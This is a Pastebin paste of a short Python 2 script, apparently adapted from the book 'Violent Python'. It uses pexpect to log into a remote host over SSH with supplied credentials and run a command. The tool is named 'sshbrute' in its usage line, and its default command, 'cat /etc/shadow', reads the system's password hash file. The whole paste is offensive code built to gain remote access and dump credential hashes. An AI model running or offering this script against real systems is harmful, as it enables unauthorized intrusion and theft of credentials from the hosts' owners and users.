Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # Pexpect driven SSH Command sending script.
- # Based on:
- # Violent Python, by TJ O'Connor
- #
- import pexpect
- from sys import argv, exit
- PROMPT = ['#', '>>>', '> ', '\$ ']
- def send_command( child, cmd):
- child.sendline(cmd)
- child.expect(PROMPT)
- print child.before
- def connect(user, host, password):
- ssh_newkey = 'Are you sure you want to continue connecting'
- connstr = 'ssh ' + user + '@' + host
- child = pexpect.spawn(connstr)
- ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
- if ret == 0:
- print '[-] Error connecting.'
- return
- elif ret == 1:
- child.sendline('yes')
- ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
- if ret == 0:
- print '[-] Error connecting.'
- return
- child.sendline(password)
- try:
- child.expect(PROMPT)
- except pexpect.TIMEOUT:
- print '[ERR] Invalid password.'
- exit(0)
- return child
- def main():
- if len(argv) < 3:
- print 'Usage: sshbrute host login pass [cmd]'
- return
- host = argv[1]
- user = argv[2]
- password = argv[3]
- cmd = 'cat /etc/shadow'
- if len(argv) > 4:
- cmd = argv[4]
- child = connect(user, host, password)
- send_command(child, cmd)
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement